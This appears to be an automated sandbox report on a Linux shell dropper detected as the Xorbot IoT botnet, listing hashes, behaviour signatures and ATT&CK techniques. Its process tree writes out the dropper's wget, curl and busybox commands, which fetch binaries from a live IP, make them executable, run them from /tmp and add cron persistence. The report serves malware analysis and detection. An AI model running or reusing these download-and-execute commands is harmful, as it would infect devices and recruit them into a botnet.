Analysis
-
max time kernel
149s -
max time network
151s -
platform
debian-9_armhf -
resource
debian9-armhf-20240729-en -
resource tags
-
submitted
27/02/2025, 23:18
General
-
Target
ZENNW_5CAY8_bins.sh
-
Size
10KB
-
MD5
5cae212a65109f1a0f1218d70286d4b0
-
SHA1
1f0fb32f13a4e4ad9463a27c76e9b76591a92408
-
SHA256
af798822bd6bbe4e5648d097c02ed204fada91fcf1260c48cf0fa9a190e30b6c
-
SHA512
d3ea3fdfdc55fb8881318fd786c2bc94d83051e51f345bb9bbe6523215acd0367cc3e26a840de561b8aae9e3915c6f2c2d2b2d49b73a6e04f66eb14293c17ffe
-
SSDEEP
192:QyeOaCMsvmyHcwni6q4YBC+7cR9aP3Ty/IDq4YBC+vER9aP3asDNsTMsvmyzcwnQ:QyeOaCMsvmyHcwni6q4YBC+IR9aP3TqP
Malware Config
Signatures
-
Detects Xorbot 3 IoCs
-
Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
-
Xorbot family
-
Contacts a large (2002) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
-
File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
-
Executes dropped EXE 3 IoCs
-
Renames itself 1 IoCs
-
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Enumerates running processes
Discovers information about currently running processes on the system
-
Checks CPU configuration 1 TTPs 3 IoCs
Checks CPU information which indicate if the system is a virtual machine.
-
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/ZENNW_5CAY8_bins.sh/tmp/ZENNW_5CAY8_bins.sh1⤵
- Executes dropped EXE
-
/bin/rm/bin/rm bins.sh2⤵
-
-
/usr/bin/wgetwget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Writes file to tmp directory
-
-
/usr/bin/curlcurl -O http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Checks CPU configuration
- Writes file to tmp directory
-
-
/bin/busybox/bin/busybox wget http://37.44.238.88/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- File and Directory Permissions Modification
-
-
/tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
- Renames itself
- Reads runtime system information
-
/bin/shsh -c "crontab -l"3⤵
-
/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "crontab -"3⤵
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
-
-
-
-
/bin/rmrm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT2⤵
-
-
/usr/bin/wgetwget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
-
-
/usr/bin/curlcurl -O http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
-
-
/bin/busybox/bin/busybox wget http://37.44.238.88/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
- File and Directory Permissions Modification
-
-
/tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
-
-
/bin/rmrm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN2⤵
-
-
/usr/bin/wgetwget http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
-
-
/usr/bin/curlcurl -O http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
- Checks CPU configuration
- Reads runtime system information
-
-
/bin/busybox/bin/busybox wget http://37.44.238.88/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
- File and Directory Permissions Modification
-
-
/tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE./wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
-
-
/bin/rmrm wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE2⤵
-
-
/usr/bin/wgetwget http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵
-
-
/usr/bin/curlcurl -O http://37.44.238.88/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX62⤵
- Checks CPU configuration
- Reads runtime system information
-
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
122KB
MD5cd3d4b9c643e5b473fb4d88ed05f0716
SHA164ee7a97418583d759eaea8000890cc3bae1b5f4
SHA2560cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
SHA512164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52
-
Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
-
Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
-
Filesize
210B
MD591ff45e9a10bd02f3e634deba5c5e981
SHA1448d2ffb65aa82f1176bf9db6f5c059875e78ebf
SHA256c7fc4c524fc43aad54c8bbf06e6b81b32d16e3e2fe16a35aa3b97d29a86a8dca
SHA5120af08a26e826bf25ce6bbb4c7f71a269ea6eac667fbb619800559bd1c517f69d9b86d92e00c1f354de987b1edc5466ae1cfb8ed41c36eb846220a14809231860